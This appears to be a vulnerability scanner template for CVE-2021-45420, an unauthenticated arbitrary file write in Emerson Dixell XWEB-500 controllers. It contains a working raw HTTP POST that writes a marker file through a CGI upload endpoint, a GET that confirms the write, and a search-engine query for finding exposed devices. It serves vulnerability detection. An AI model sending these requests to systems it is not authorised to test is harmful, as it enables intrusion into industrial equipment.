id: dixell-xweb500-filewrite info: name: Emerson Dixell XWEB-500 - Arbitrary File Write author: hackerarpan severity: critical description: Emerson Dixell XWEB-500 products are affected by arbitrary file write vulnerabilities in /cgi-bin/logo_extra_upload.cgi, /cgi-bin/cal_save.cgi, and /cgi-bin/lo_utils.cgi. An attacker will be able to write any file on the target system without any kind of authentication mechanism, and this can lead to denial of service and potentially remote code execution. Note that this product has not been supported since 2018 and should be removed or replaced. reference: - https://www.exploit-db.com/exploits/50639 - https://nvd.nist.gov/vuln/detail/CVE-2021-45420 metadata: max-request: 2 google-query: inurl:"xweb500.cgi" tags: lfw,iot,dixell,xweb500,edb,fileupload,intrusive http: - raw: - | POST /cgi-bin/logo_extra_upload.cgi HTTP/1.1 Host: {{Hostname}} Content-Type: application/octet-stream {{randstr}}.txt dixell-xweb500-filewrite - | GET /logo/{{randstr}}.txt HTTP/1.1 Host: {{Hostname}} req-condition: true matchers-condition: and matchers: - type: dsl dsl: - 'contains(body_2, "dixell-xweb500-filewrite")' - type: status status: - 200 # digest: 4b0a00483046022100922c7e8568f5e8c36bbc399db5a70ebf19b11d966b696e946d3c8d418a382f3e0221009bd9123e182363c0aee4c6ef3a183784052100eea41a0625812f67de1cec47ab:922c64590222798bb761d5b6d8e72950